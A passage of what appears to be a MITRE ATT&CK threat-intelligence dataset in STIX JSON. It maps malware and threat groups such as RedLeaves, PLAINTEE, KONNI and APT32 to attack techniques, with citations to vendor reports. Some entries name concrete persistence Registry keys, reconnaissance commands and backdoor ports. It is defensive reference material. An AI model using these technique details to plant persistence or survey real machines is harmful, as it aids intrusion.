            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can communicate to its C2 over HTTP and HTTPS if directed.(Citation: FireEye APT10 April 2017)(Citation: Accenture Hogfish April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                },
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.311Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--baca2e38-a6fa-430e-a829-7afc5537e45f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) gains persistence by adding the Registry key <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-19T19:52:53.305Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0c294d8b-2ee4-47ee-b9d8-8378d9d89ba1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Comnie](https://attack.mitre.org/software/S0244) runs the command: <code>net start >> %TEMP%\\info.dat</code> on a victim.(Citation: Palo Alto Comnie)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-17T00:43:32.018Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ed2e17b5-171b-4878-a3ab-2b70e8ca132a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect victim system information, including the system name and OS version.(Citation: Palo Alto DNS Requests)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto DNS Requests",
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
                }
            ],
            "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:10:14.741Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1a61aac0-69fc-4813-9d1f-2f3817bc4af4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) opens a backdoor on TCP ports 6868 and 7777.(Citation: Symantec Darkmoon Aug 2005)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-10-17T00:14:20.652Z",
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0"
        },
        {
            "id": "relationship--67e6b603-a45d-4cbc-9b3e-546392934f7f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mosquito](https://attack.mitre.org/software/S0256) stores configuration values under the Registry key <code>HKCU\\Software\\Microsoft\\[dllname]</code> and modifies Registry keys under <code>HKCR\\CLSID\\...\\InprocServer32</code>with a path to the launcher.(Citation: ESET Turla Mosquito Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Turla Mosquito Jan 2018",
                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
                }
            ],
            "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-20T01:55:35.002Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) has been copied over network shares to move laterally.(Citation: McAfee Night Dragon)",
            "id": "relationship--1ec9706f-7faa-466d-afd0-97cc71714f7b",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2020-03-16T16:07:39.018Z",
            "created": "2019-01-30T17:48:35.674Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) uses <code>ipconfig</code> to gather the IP address from the system.(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--4cc3f3af-73f1-4f36-9e28-de4f8ecc3247",
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.729Z",
            "created": "2019-01-30T20:01:45.383Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "[KONNI](https://attack.mitre.org/software/S0356) can download files and execute them on the victim\u2019s machine.(Citation: Talos Konni May 2017)",
            "id": "relationship--8720f2bc-c099-4d2c-a9b4-faf019bf55a4",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.228Z",
            "created": "2019-01-31T00:36:41.003Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) have replaced Microsoft Outlook's VbaProject.OTM file to install a backdoor macro for persistence.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--e1f7179b-37ac-4f47-8368-0f55814a6447",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "type": "relationship",
            "modified": "2020-06-29T21:45:35.957Z",
            "created": "2019-01-31T01:07:58.720Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Gauss Whitepaper",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf",
                    "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019."
                },
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
                    "source_name": "Kaspersky Equation QA"
                }
            ],
            "description": "[Equation](https://attack.mitre.org/groups/G0020) has been observed utilizing environmental keying in payload delivery.(Citation: Kaspersky Gauss Whitepaper)(Citation: Kaspersky Equation QA)",
            "id": "relationship--3d661b40-6ebf-470f-a675-142f86b6c649",
            "source_ref": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
            "type": "relationship",
            "modified": "2020-06-24T00:32:56.513Z",
            "created": "2019-01-31T02:11:53.932Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--e50b6d7a-8c22-45f3-9d60-383064cc58d4",
            "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb",
            "relationship_type": "uses",
            "target_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "external_references": [
                {
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
                    "source_name": "Unit42 SilverTerrier 2018"
                }
            ],
            "description": "(Citation: Unit42 SilverTerrier 2018)",
            "type": "relationship",
            "modified": "2019-04-12T16:33:51.213Z",
            "created": "2019-01-29T21:37:00.018Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Micropsia June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html",
                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."
                },
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) can download and execute an executable from the C2 server.(Citation: Talos Micropsia June 2017)(Citation: Radware Micropsia July 2018)",
            "id": "relationship--7ec1ddbb-57d1-4530-97d1-dd5d02cd3eb2",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.939Z",
            "created": "2019-01-29T21:47:53.759Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) creates a .LNK file for persistence.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--e394c235-8567-4198-9559-fb3952672fe0",
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.935Z",
            "created": "2019-01-30T13:42:09.461Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "source_name": "PaloAlto DNS Requests May 2016"
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) can upload a file to the victim\u2019s machine.(Citation: PaloAlto DNS Requests May 2016)",
            "id": "relationship--882c68e3-5f01-4438-a430-ff22692d8910",
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.845Z",
            "created": "2019-01-30T14:00:49.889Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to perform a process listing.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--4d36c850-0cd8-4e2a-9999-19f61eb37922",
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-02-12T21:28:19.607Z",
            "created": "2019-01-30T15:27:06.725Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can collect the victim\u2019s IP address.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--2ab707bc-9e11-4b6e-858f-c1576f9fc3a0",
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-02-12T21:14:11.183Z",
            "created": "2019-01-30T15:43:19.407Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) contains watchdog functionality that ensures its process is always running, else spawns a new instance.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--ed51de86-8e28-4436-a663-94b66f22a7df",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.800Z",
            "created": "2019-01-30T16:39:54.425Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "source_name": "Reaqta MuddyWater November 2017",
                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has controlled [POWERSTATS](https://attack.mitre.org/software/S0223) from behind a proxy network to obfuscate the C2 location.(Citation: Symantec MuddyWater Dec 2018) [MuddyWater](https://attack.mitre.org/groups/G0069) has used a series of compromised websites that victims connected to randomly to relay information to command and control (C2).(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)",
            "id": "relationship--cc78f0a1-7f4f-491e-a636-910f09d0c5a1",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "type": "relationship",
            "modified": "2021-04-25T23:26:10.871Z",
            "created": "2019-01-30T17:33:40.928Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/",
                    "source_name": "Securelist Darkhotel Aug 2015"
                },
                {
                    "source_name": "Microsoft DUBNIUM July 2016",
                    "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/",
                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails with malicious RAR and .LNK attachments.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)",
            "id": "relationship--3cce0cb1-051f-48da-8712-e9d2eba871a0",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2021-04-22T14:35:25.550Z",
            "created": "2019-01-30T17:43:28.298Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--a95a7989-ffe1-4aac-8831-5d4db61c2f8b",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "(Citation: McAfee Night Dragon)",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.960Z",
            "created": "2019-01-30T18:02:59.447Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                },
                {
                    "source_name": "Unit42 Sofacy Dec 2018",
                    "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/",
                    "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019."
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) can gather system information from the victim\u2019s machine such as the OS version, machine name, and drive information.(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)",
            "id": "relationship--f9bf12c3-7512-47fe-86d7-cc89662abad4",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.965Z",
            "created": "2019-01-30T18:58:04.096Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) has used FTP for C2 communications.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--ebd87b4c-eca9-4680-9608-a49ec74b5c4b",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.534Z",
            "created": "2019-01-30T19:50:46.737Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html",
                    "source_name": "Talos Konni May 2017"
                }
            ],
            "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together.(Citation: Talos Konni May 2017)",
            "id": "relationship--d4c9b3cb-44ca-47be-b10f-2371ef1c23df",
            "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-07-26T18:47:19.260Z",
            "created": "2019-01-31T00:36:40.957Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) used the <code>ipconfig /all</code> command to gather the IP address from the system.(Citation: Cybereason Cobalt Kitty 2017)",
            "id": "relationship--cbc1d2d8-aac7-498a-a034-f0a672977c11",
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-07-17T13:11:38.436Z",
            "created": "2019-01-31T01:07:58.601Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
